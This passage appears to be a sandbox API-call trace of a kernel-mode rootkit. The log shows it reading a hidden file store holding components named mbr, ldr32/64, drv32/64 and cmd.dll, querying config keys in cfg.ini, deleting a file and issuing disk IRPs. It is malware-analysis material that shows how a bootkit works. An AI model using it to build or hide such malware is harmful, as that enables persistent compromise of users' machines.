[0125.745] KeWaitForMutexObject () returned 0x0 [0125.745] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.745] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.745] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.745] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.745] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.745] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.745] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.745] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.745] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.745] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.745] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.746] KeLeaveCriticalRegion () [0125.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.746] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.746] KeEnterCriticalRegion () [0125.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.746] IdePortDispatch () returned 0x103 [0125.746] KeWaitForMutexObject () returned 0x0 [0125.746] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.746] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.746] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.746] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.746] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.746] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.746] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.746] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.746] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.746] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.746] KeLeaveCriticalRegion () [0125.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.746] ReleaseMutex (hMutex=0x100) returned 1 [0125.746] Sleep (dwMilliseconds=0x2bf20) [0125.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e2643b0, dwHighDateTime=0x1d24fa4)) [0125.753] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.754] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.754] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.754] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.754] KeEnterCriticalRegion () [0125.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.754] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.754] IdePortDispatch () returned 0x103 [0125.754] KeWaitForMutexObject () returned 0x0 [0125.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.754] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.754] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.754] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.754] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.754] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.754] KeLeaveCriticalRegion () [0125.754] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.754] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.754] KeEnterCriticalRegion () [0125.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.754] KeLeaveCriticalRegion () [0125.754] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.754] KeEnterCriticalRegion () [0125.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.754] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.755] IdePortDispatch () returned 0x103 [0125.755] KeWaitForMutexObject () returned 0x0 [0125.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.755] KeLeaveCriticalRegion () [0125.755] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.755] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.755] KeEnterCriticalRegion () [0125.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdf000 [0125.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.755] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.755] IdePortDispatch () returned 0x103 [0125.755] KeWaitForMutexObject () returned 0x0 [0125.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.756] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.756] IdePortDispatch () returned 0x103 [0125.756] KeWaitForMutexObject () returned 0x0 [0125.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.756] KeLeaveCriticalRegion () [0125.756] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.756] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.757] KeEnterCriticalRegion () [0125.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] KeLeaveCriticalRegion () [0125.757] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.757] KeEnterCriticalRegion () [0125.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.757] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] KeLeaveCriticalRegion () [0125.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.757] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.757] KeEnterCriticalRegion () [0125.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] KeLeaveCriticalRegion () [0125.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.757] ReleaseMutex (hMutex=0xf0) returned 1 [0125.757] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.757] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.757] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.757] KeEnterCriticalRegion () [0125.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.757] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.757] IdePortDispatch () returned 0x103 [0125.757] KeWaitForMutexObject () returned 0x0 [0125.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.758] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.758] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.758] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] KeLeaveCriticalRegion () [0125.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.758] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.758] KeEnterCriticalRegion () [0125.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] KeLeaveCriticalRegion () [0125.758] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.758] KeEnterCriticalRegion () [0125.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.758] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.758] IdePortDispatch () returned 0x103 [0125.758] KeWaitForMutexObject () returned 0x0 [0125.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] KeLeaveCriticalRegion () [0125.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.758] KeEnterCriticalRegion () [0125.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce0000 [0125.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.758] IdePortDispatch () returned 0x103 [0125.758] KeWaitForMutexObject () returned 0x0 [0125.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.759] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.759] IdePortDispatch () returned 0x103 [0125.759] KeWaitForMutexObject () returned 0x0 [0125.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.759] KeLeaveCriticalRegion () [0125.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.759] KeEnterCriticalRegion () [0125.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.759] KeLeaveCriticalRegion () [0125.760] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.760] KeEnterCriticalRegion () [0125.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.760] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] KeLeaveCriticalRegion () [0125.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.760] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.760] KeEnterCriticalRegion () [0125.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] KeLeaveCriticalRegion () [0125.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.760] ReleaseMutex (hMutex=0xf0) returned 1 [0125.760] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.760] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.760] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.760] KeEnterCriticalRegion () [0125.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.760] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.760] IdePortDispatch () returned 0x103 [0125.760] KeWaitForMutexObject () returned 0x0 [0125.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800369d010 [0125.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.760] KeLeaveCriticalRegion () [0125.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.761] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.761] KeEnterCriticalRegion () [0125.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.761] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.761] KeLeaveCriticalRegion () [0125.761] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.761] KeEnterCriticalRegion () [0125.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.761] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.761] IdePortDispatch () returned 0x103 [0125.761] KeWaitForMutexObject () returned 0x0 [0125.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.761] KeLeaveCriticalRegion () [0125.761] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.761] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.761] KeEnterCriticalRegion () [0125.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce1000 [0125.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.761] IdePortDispatch () returned 0x103 [0125.761] KeWaitForMutexObject () returned 0x0 [0125.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.762] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.762] IdePortDispatch () returned 0x103 [0125.762] KeWaitForMutexObject () returned 0x0 [0125.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.762] KeLeaveCriticalRegion () [0125.762] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.762] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.762] KeEnterCriticalRegion () [0125.762] ExAcquireFastMutexUnsafe (in: 